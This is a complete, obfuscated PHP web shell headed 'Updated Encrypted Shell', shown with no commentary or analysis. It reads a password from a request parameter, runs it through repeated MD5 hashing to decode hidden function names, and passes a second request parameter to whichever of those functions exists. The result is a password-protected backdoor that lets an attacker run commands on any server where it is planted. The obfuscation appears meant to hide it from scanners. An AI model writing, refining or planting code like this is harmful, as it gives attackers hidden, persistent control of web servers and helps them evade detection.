Updated Encrypted Shell

<?php
@error_reporting(0);
$p=str_rot13("cnpx");
if(!isset($_REQUEST[pack("L",1936941424)]))exit();
$h=$_REQUEST[pack("L",1936941424)];
for($i=0;$i<10000;$i++)$h=md5($h,1);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e=$p("L",4336671913-$t[1]).$p("S",86171-$t1[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$e1=$p("L",2317167118-$t[1]).pack("L",2350657810-$t[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);$fex=$p("L",2029019048-$t[1]).$p("L",2213630902-$t[1]).$p("L",2130333601-$t[1]).$p("S",89781-$t1[1]).$p("C",181-$t2[1]);
$h=md5($h,1);$t=unpack("L",$h);$t1=unpack("S",$h);$t2=unpack("C",$h);
$r=$_REQUEST[$p("L",4994670222-$t[1])];
if($fex($e)){$e($r);}
else if($fex($e1)){$e1($r);}
?>